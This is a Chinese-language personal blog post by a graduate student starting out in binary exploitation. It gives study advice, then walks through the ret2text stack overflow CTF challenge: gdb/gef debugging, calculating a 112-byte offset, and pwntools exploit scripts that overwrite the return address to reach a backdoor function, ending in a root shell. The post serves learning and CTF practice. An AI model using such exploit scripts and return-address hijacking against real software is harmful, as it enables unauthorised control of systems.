​ 学pwn有一段时间了,反反复复捣鼓一些东西,还是觉得以博客记录比较好,梳理自己的思路,会以第一人称来写,来记录学习的过程和结局思路(不是那种我是老师,教你学, 而是自己在探索.所以可能有时候会比较傻) 基础知识总有书和博客比我写得好,我觉得没有必要造轮子,所以有些基础知识可能会不会写的太细….反之,有一些博客上漏掉的细节,以及解题的关键会重点写(不会吧不会吧,真有人看你博客吗)

​ 自己曾经说网上99%的博客都是垃圾(包括自己的),希望自己换了新博客后写的能质量高一点(至少越来越有长进)。(笑,不会真有人看你博客吧?)

​ 第一篇文章首先来简单说一下自己目前认知的pwn

什么是pwn?

​ 简单来说就是二进制漏洞的利用,什么是二进制呢? 这里的二进制指的是二进制程序,也就是我们平常用高级语言编写的程序被编译链接后成为的01010101, 它们在操作系统中运行的时候,会因为操作系统和cpu等设计的问题,以及程序员的问题,出现各种bug,导致漏洞利用.

​ 最常见的就是溢出类型的漏洞,在CTF中也是最常考察的,栈溢出,堆溢出等,在这之后会有虚拟化逃逸,内核漏洞等.

​ “万物皆可pwn”,尤其是现在iot的发展,多种设备都联入网络,像汽车,智能家居,安保系统等,都可能被“pwn“掉

如何入门?

​ 这个问题我没法回答,因为我现在正在入门……….我只能说一些我目前正在做的事情,仅供参考

1.系统地打好计算机基础

​ pwn和web不一样,是比较底层的,需要的计算机知识很多,基础不牢地动山摇,所以要有较好的计算机基础.

​ 包括但不限于 操作系统、汇编语言、体系结构、编译原理、C语言等

​ 作者目前研一,还有一段时间用来打基础,建议大家在本科期间就好好打基础呀 (半路出家的痛)

​ 目前选了学校的一些课程,同时在看一些书和视频等

(一)计算机体系结构

​ 或者说计算机组成原理,是非常非常基础和重要的(本科时候学的太烂的),国科大的胡伟武老师讲这门课(放弃申报院士,为国家做芯片,龙芯董事长,首席科学家!!!! 超级牛的老师)

​ 这门课能让你懂计算机的运行原理,CPU的原理,计算机是如何工作的,从电路、元器件的原理上去深入理解计算机

​ 推荐书籍:

《计算机体系结构基础 第三版》 胡伟武 这是给国科大的本科生看的,但我觉得不论什么水平看一看都有收获

《计算机体系结构 第二版》胡伟武 这是给研究生推荐的教材,可以作为进阶看

《深入理解计算机系统》 经典黑书..

(二)操作系统

​ 操作系统可以说

从最简单的一个栈溢出开始了解pwn

什么是栈?

​ 栈是用来存储用户输入,函数变量,寄存器的值等的一块内存空间,它从高地址向低地址生长

图片描述

什么是缓冲区溢出?

​ 在上图中, buffer是用户能够可控的,用户能够可控的事实上便不安全,如果没有对buffer的大小进行正确的控制,buffer超过了128字节,则会产生溢出.

​ 那么产生了溢出又会怎样呢? 先看最直接的效果,buffer的地址是从低地址向高地址生长的,那么它往上溢出,就会覆盖ebp和返回地址,以及等等.

image-20221011171912415

​ 那么覆盖了又会怎样呢?? 这里就需要了解函数调用的基础了(基础知识很重要!),这里先简单的说,在我们当前这个函数被调用完成,进行return的时候,它会return到哪呢? 就是我们存储的返回地址(return address),所以,答案就来了,如果我们把返回地址修改为恶意代码的地址,是不是就能够对它进行劫持? 是的,这种手法就叫劫持控制流

一个简单的例子, ret2backdoor/ret2text

题目来源于bamboofox中的ret2text

题目链接:

​ 一般我们拿到的都是二进制文件,没有源代码,但我们不能直接读01吧,读汇编也很难吧(大佬除外),所以我们需要工具来帮我们反编译反汇编,反汇编是把01那些转换成汇编代码,反编译是把汇编转换成高级语言(如c语言)

​ 这时候我们需要借助一个工具, ida pro, 别的工具也可以,不过ida确实是非常好用啊

动态调试

​ 啥是动态调试呢? 静态分析是看源程序的汇编代码,程序是死的,动态调试就是让程序跑起来,在程序运行的时候,在某个节点断下来,查看程序的运行时状态,如栈的布局,寄存器等等,来寻找漏洞和探索利用方式,这里同样我们要用一些工具,首先是gdb,gdb本身不是为了漏洞利用而生的,而是给程序员来调试程序用的.

​ (这里还需要安装一个插件, gef ,具体安装可以google,有很多安装教程,或者直接看github仓库) 不过,为啥要安插件呢? 因为没插件不好用,插件能够帮你提取重要信息,以及给你增加很多方便漏洞调试的命令.

​ 我们用 gdb 文件名 来启动调试

​ start 从第一条指令开始运行image-20221011173542682

​ ni 一步一步往下执行(遇到函数时不进入,直接执行完)

这里我们执行到了gets函数,它就是用来读取我们用户输入的,我们先来随便输入一串a

image-20221011173723873

telescope 查看栈的情况 连续按回车可以一直往下展示栈(其实是重复当前命令)

能够看到 esp提示你 0xffffd56c这个位置存储的是这一串a,往下看,确实是,

image-20221011173849858

当我们继续往下看的时候,我们看到了ebp

image-20221011173946237

根据我们上面对栈的理解,buf之后是ebp然后是返回地址 (实际上实际情况可能比这还要复杂,暂且这样)

所以我们也可以从这里算覆盖地址,用ebp的地址 - 字符串开头,也就是buffer的地址, 就可以算出来要填充的字节数

0xffffd5d8 - 0xffffd56c = 108 这是到ebp的, 再加上ebp 4个字节,于是就是 112 字节, 然后就是返回地址了

那么返回地址我们返回到哪呢? 我们刚才在静态分析的时候已经分析到了存在后门函数,地址是0x804863a,所以我们返回这个后门的地址就可以了!

ctfwiki里解释的太粗了,为什么eax的位置就是字符串开始读取的位置呢????????? 

image-20230218154658066

构造payload与exp

1
2
payload =  b"a" * 108 + b"a" * 4  + retaddress
// 108是覆盖缓冲区,4是覆盖ebp,然后就是返回地址了
1
2
3
4
5
6
7
8
9
from pwn import *

sh = process("ret2text")

retaddress = 0x804863a
payload = payload = b"a" * 108 + b"a" * 4 + p32(retaddress)

sh.send(payload)
sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
root@VM-24-10-ubuntu:/home/ubuntu/zhan# python3 exp.py
[!] Could not find executable 'ret2text' in $PATH, using './ret2text' instead
[+] Starting local process './ret2text': pid 16542
[*] Switching to interactive mode
There is something amazing here, do you know anything?
$ id
Maybe I will tell you next time !$ whoami
root
$ ls
exp.py ret2text shellcode

于是我们就拿到权限了!

关于和pwntools的联动问题

sh.send(payload)
pause()

想达到在刚发送完这条payload,查看之后的效果,如果这样的话,是不行的,这样的话估计是执行了很多条之后的了,为什么呢?

如果想达到上述效果,需要下断点. 先调试找到断点,然后在gdb.attach的时候下断点

1
2
3
0xf7e4c624 <gets+292>    call   __uflow                    <__uflow>

0xf7e4c629 <gets+297> add esp, 0x10

下断点下到0xf7e4c629就可以了

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process("./ret2text")
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(sh,"b *0xf7e4c624")
retaddress = 0x804863a
payload = payload = b"a" * 108 + b"a" * 4 + p32(retaddress)

sh.send(payload)
sh.interactive()

运行的时候感觉不是到断点那里了,差了一些,但是可以一直往下n,还是差不多的

需要输入的时候 切换到左边按一下回车,就发送过去了